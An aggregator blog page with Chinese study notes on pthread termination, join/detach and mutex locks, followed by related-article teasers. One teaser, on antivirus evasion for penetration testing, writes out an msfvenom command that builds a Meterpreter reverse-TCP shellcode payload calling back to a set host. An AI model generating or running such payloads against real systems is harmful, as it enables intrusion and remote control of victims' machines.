线程的进阶学习

news2024/9/22 23:33:49

  线程结束方式:

1.pthread_exit   //pthread_join

2.从线程执行函数中return  //此时效果等价于pthread_exit

3.pthread_cancel  //线程可以被取消

4.任何一个线程调用了exit 或者 主线程 (main函数) return都会造成 进程结束 

 线程资源回收 ---pthread_join

 int pthread_cancel(pthread_t thread);

功能:发送取消的请求

参数:thread 表示要发送的线程的tid号

返回值:成功 0失败 错误码

1.pthread_join    //需要自己回收  ---线程的属性 (可结合性)  --- 一般是子线程 在较短时间内运行完

2.pthread_detach  //可分离属性    ---子线程运行很久才结束 ---  设置分离属性

函数:pthread_detach();

int pthread_detach(pthread_t thread);

功能:分离线程

参数:thread 要分离的线程的tid

返回值:成功 0;失败 错误码

总结:

1.创建 -- pthread_create

2.执行 -- 线程执行函数

3.退出 -- pthread_exit

          return  //线程执行函数中

                pthread_cancel

                exit() //return 从main  

4.资源回收

       可结合性 --- pthread_join这种用于线程任务较短,主线程需要关心子线程状态

          可分离性 --- pthread_detach子程序执行任务较长,主线程也不需要关心子线程状态

对比 线程 和 进程

1.线程 vs 进程

线程 CPU执行的最小单位

进程 资源分配和任务调度基本单位

2. 各自特点 (优缺点)

1.创建 和 调度

 线程创建速度快 调度速度快 发程度 更高

2. 安全性

线程:优点:

共享了进程的数据空间    共享数据方面 方便

       缺点:

安全性不好 带来资源竞争  专门的技术 解决资源竞争  --- 互斥 同步

进程 进程空间相互独立 优点:

安全性好

缺点:

                  进程间共享数据不方便  进程间通信   (管道,信号,共享内存)  

 3. 编程 线程的复杂程度更高一些;

线程间的资源竞争:

   共享资源:    临界资源

   临界区  :    访问共享资源(临界资源)那段代码

机制:互斥锁  

       互斥     排他性   --- 要么不访问 要访问就是一次完整操作  (原子操作)

       锁:软件层面上的锁

锁的操作机制 框架:

        定义互斥锁 ==》初始化锁 ==》加锁 ==》解锁 ==》销毁

1.定义互斥锁:

    pthread_mutex_t   mutex;

       互斥锁类型        互斥锁变量 内核对象

2.初始化锁

    pthread_mutex_init(); //初始化一把锁   

3.加锁   加锁加要访问临界资源的地方

       pthread_mutex_lock(); 上锁

4.解锁

          pthread_mutex_unlock(); 解锁  临界资源访问之后就解开

5.销毁

       pthread_mutex_destroy();销毁一把锁

pthread_mutex_init()   

 功能:初始化 互斥锁

int pthread_mutex_init(

              pthread_mutex_t *restrict mutex,

           const pthread_mutexattr_t *restrict attr);

       参数:

       mutex  就是要初始化的 互斥锁变量

       attr    属性  NULL 默认属性  --- 普通锁  

          int pthread_mutex_lock(pthread_mutex_t *mutex);

       int pthread_mutex_trylock(pthread_mutex_t *mutex);

       int pthread_mutex_unlock(pthread_mutex_t *mutex);

  参数: mutex    //要操作的那把锁

int pthread_mutex_destroy(pthread_mutex_t *mutex); 用完之后锁要销毁,释放空间;

总结:锁是一种线程间的同步机制;

互斥锁:保证线程对共享资源的排他性访问;

保证每个线程访问时的原子操作;

对于互斥锁的静态初始化

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2043138.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

汤姆·克鲁斯对妮可·基德曼经常对粉丝提起他们以前的事感到恼火

妮可基德曼最近回忆了她与前夫汤姆克鲁斯和导演斯坦利库布里克在 1999 年的电影《大开眼戒》中合作的时光。这似乎是对她职业生涯中某个时刻的无伤大雅的回顾,但据报道,有一个人对她在纪念该电影上映 25 周年时的谈话感到不满。 据报道,克鲁…

Polars简明基础教程十四:可视化(四)

数据帧交换协议 数据帧互换协议(Dataframe Interchange Protocol),是为了提高不同数据帧库之间的互操作性而设计的。 想象一下,你有很多不同类型的储物箱(在这里比喻为不同的数据帧库,如 Pandas、Polars、…

ArkTs基础语法-声明式UI-基本概念

声明式UI语法 基本概念声明式UI描述创建组件无参数有参数 配置属性配置事件 配置子组件 基本概念 装饰器:用于装饰类、结构、方法及变量,并赋予其特殊的含义。 例如: Entry 有该装饰器的自定义组件,可以在UIAbility中使用&#xf…

Transformer在单细胞组学中干了啥?

—https://doi.org/10.1038/s41592-024-02353-z 留意更多内容,欢迎关注微信公众号:组学之心 研究团队和单位 综述简介 细胞表型参考图谱的构建(已有很多篇超百万级单细胞的多组学图谱),极大丰富了单细胞组学数据的数…

WEB渗透免杀篇-Python源码免杀

Base64编码Pyinstaller打包 MSF监听需设置自动迁移进程 set autorunscript migrate -n explorer.exe msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.0.108 LPORT12138 -f c -o /var/www/html/1.cShellcode粘贴在shellcodebase64c.py中 python…

Element UI导航菜单刷新就复原问题解决方法~

1、首先要知道为什么一刷新就复原了,是因为default-active属性设置的是默认值,是一个死值,一旦刷新就会复原,造成高亮不能保持,那么怎么解决呢? 2、很简单,无需像一些博主一样绑定path。思路&a…

本机电脑,代码仓库,服务器三者代码同步流程

本机电脑,代码仓库,服务器三者代码同步流程 本机电脑将代码push到代码仓库从代码仓库clone或者pull代码服务器(非必要但习惯于)本机电脑通过ssh远程连接服务器进行操作 关于密钥:(通过ssh的密钥同步代码不…

Linux系统驱动(十八)SPI总线(未整理)

文章目录 一、SPI总线协议简介二、SPI子系统驱动(二)SPI子系统API(三)SPI设备树节点 三、代码示例 一、SPI总线协议简介 高速、同步、全双工、非差分、总线式 传输速度在几十M 差分总线和非差分总线 非差分总线:受压…

微信小程序开发了支付系统(必须要进行发货管理)

开发了一个小程序,然后必小程序支付后,一定要发货?线上购买线下取货如何发货? 这其实就是你服务类目选择错了,有的分类是必须要有发货管理的,但是有的就不需要,所以有些时候微信的规则还真的挺…

【vue】h 函数的使用

文章目录 1. 引言2. h 函数3. h 函数的使用3.1 v-if3.2 v-for3.3 v-on3.4 组件3.5 渲染插槽 4. h函数的使用场景参考链接 1. 引言 在绝大多数情况下,Vue 推荐使用模板语法来创建应用。然而在某些使用场景下,我们真的需要用到 JavaScript 完全的编程能力。…

C++ 面试题常用总结 详解(满足c++ 岗位必备,不定时更新)

📚 本文主要总结了一些常见的C面试题,主要涉及到语法基础、STL标准库、内存相关、类相关和其他辅助技能,掌握这些内容,基本上就满足C的岗位技能(红色标记为重点内容),欢迎大家前来学习指正&…

01 网络编程-概念引入

目录 1、互联网与物联网 2、计算机网络分类 (1)按地理范围分类 (2)按网络拓扑分类 (3)按网络用途分类 3、套接字 4、网络的七层模型(OSI--国际化标准) 5、TCP/IP四层协议栈 …

qml ChartView实现动态数据曲线

文章目录 一、qml静态数据曲线二、qml ChartView实现动态数据曲线三、使用C++给曲线提供数据更多qml教程,请参考QML入门进阶教程专栏:https://mingshiqiang.blog.csdn.net/category_9951228_2.html 本篇博客介绍使用qml实现动态数据曲线,效果图如下: 本篇博客代码通过C+…

DolphinScheduler3.2.2在centos7上伪集群部署

DolphinScheduler 是一个分布式易扩展的可视化工作流任务调度系统。集成了很多数据处理常用的功能,包括定时任务,脚本执行,错误预警等。 它具有以下一些主要特点和优势: 分布式架构:支持大规模任务的调度和管理&#…

centos7卸载docker报错No Packages marked for removal

执行: yum -y remove docker* 报错: No Packages marked for removal 执行: yum list installed | grep docker yum remove -y docker-ce.x86_64 docker-ce-cli.x86_64 containerd.io.x86_64

进程的退出以及线程

接上节: 1.wait 本身是一个阻塞操作,谁调用它就会使调用者阻塞 2.父进程要获得子进程的退出状态 要两个进程配合操作: 子进程: exit(退出状态值) 退出状态值 只有最低为有效,范围为[0-255] 父进程 wa…

<Qt> 系统 - 网络编程 | 音视频

目录 前言: 一、QUdpSocket (一)核心 API 概览 (二)设计一个UDP回显服务器 二、QTCPSocket (一)核心 API 概览 (二)设计一个TCP回显服务器 三、HTTP Client 四、…

javaer快速入门 goweb框架 gin

gin 入门 前置条件 安装环境 配置代理 # 配置 GOPROXY 环境变量,以下三选一# 1. 七牛 CDN go env -w GOPROXYhttps://goproxy.cn,direct# 2. 阿里云 go env -w GOPROXYhttps://mirrors.aliyun.com/goproxy/,direct# 3. 官方 go env -w GOPROXYhttps://goproxy.…

【自动驾驶】自定义消息格式的话题通信(C++版本)

目录 新建消息文件更改包xml文件中的依赖关系更改cmakelist文件中的配置执行时依赖改变cmakelist编译顺序发布者程序调用者程序新建launch文件程序测试 新建消息文件 在功能包目录下,新建msg文件夹,下面新建mymsg.msg文件,其内容为 string …

机械行业数字化生产供应链产品解决方案(十六)

我们的机械行业数字化生产供应链产品解决方案通过全面应用物联网、人工智能和大数据技术,构建了一个高效的智能生产与供应链系统,能够在设计、生产和物流全环节中实现实时数据监控与动态优化。系统通过智能分析和预测,优化了生产计划和资源配…